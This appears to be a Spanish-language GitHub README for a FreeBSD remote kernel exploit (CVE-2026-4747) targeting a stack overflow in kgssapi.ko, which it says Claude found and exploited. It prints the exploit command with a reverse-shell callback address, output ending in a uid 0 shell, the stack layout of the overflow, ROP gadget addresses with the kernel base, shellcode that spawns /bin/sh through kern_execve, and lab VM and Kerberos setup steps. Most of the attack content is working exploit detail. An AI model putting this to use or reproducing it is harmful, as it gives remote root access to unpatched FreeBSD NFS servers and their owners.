kaleth4/cve-2026-4747-Exploit remoto del kernel para FreeBSD CVE-2026-4747, que aprovecha un desbordamiento de búfer en la pila en kgssapi.ko para lograr RCE con una reverse shell. Incluye entrega ROP de múltiples rondas e instrucciones detalladas de configuración.
First remote kernel exploit both discovered and exploited by an AI
| Aspecto | Detalle |
|---|---|
| CVE | CVE-2026-4747 |
| Vulnerabilidad | Stack buffer overflow en kgssapi.ko (RPCSEC_GSS) |
| Impacto | Remote Kernel Code Execution → uid 0 reverse shell |
| Afectados | FreeBSD 13.5, 14.3, 14.4, 15.0 (versiones sin patch) |
| Descubierto por | Nicholas Carlini usando Claude (Anthropic) |
| Fecha de Advisory | 2026-03-26 |
| Tiempo de Explotación | ~8 horas (4 horas de trabajo real de Claude) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
Output:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude resolvió 6 problemas técnicos distintos para pasar de un advisory a un reverse shell funcional:
pmap_change_prot() → BSS ejecutablekthread_exit() para terminar limpiamente (sin kernel panic)kproc_create() → nuevo proceso con infraestructura user-modekern_execve("/bin/sh") → carga ELF, configura trapframe, limpia flag P_KPROC/bin/sh ejecuta en ring 3 como uid 0trap 1 (debug exception) en instrucción válidakproc_create() hereda debug registers del padrekproc_create()Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← Primer gadget ROP
[208..399] → ROP chain (192 bytes = 24 qwords)
| Gadget | Dirección | Propósito |
|---|---|---|
pop rdi; ret | K+0x1adcda | Arg 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Arg 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Arg 3 (rdx) |
pop rax; ret | K+0x400cb4 | Valor para escribir |
mov [rdi], rax; ret | 0xffffffff80e3457c | Escritura arbitraria de 8 bytes |
Donde K = 0xffffffff80200000 (kernel base, sin KASLR en FreeBSD 14.x)
Fase 1 - Entry (Hilo NFS hijacked):
mov rax, 0xffffffff8198bf00 ; Pivote de stack a BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Limpia breakpoints de hardware
call rbx ; kproc_create (preloaded en RBX)
mov rax, kthread_exit
call rax ; Termina hilo limpiamente
Fase 2 - Worker (Nuevo proceso kernel):
; Configura argumentos para kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; Añade "-c" y comando reverse shell
; ...
; Ejecuta /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; Limpia P_KPROC flag
and byte [rax + 0xb8], 0xfb ; Permite transición a userland
ret ; → fork_exit → userret → iretq → ring 3
# Descarga imagen
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init config
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Boot con port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
Requisitos:
Setup en la VM:
# 1. Instalar Kerberos
pkg install -y krb5
# 2. Crear KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. Inicializar base de datos KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Crear principals (reemplaza "test" con tu hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. Iniciar KDC
/usr/local/sbin/krb5kdc
# 6. Configurar NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Habilitar servicios
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Verificar
sysctl vfs.nfsd.threads # Debe mostrar 16 (con 2 CPUs)
sockstat -l | grep 2049 # Debe mostrar tcp4/tcp6
# 1. Instalar paquetes
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi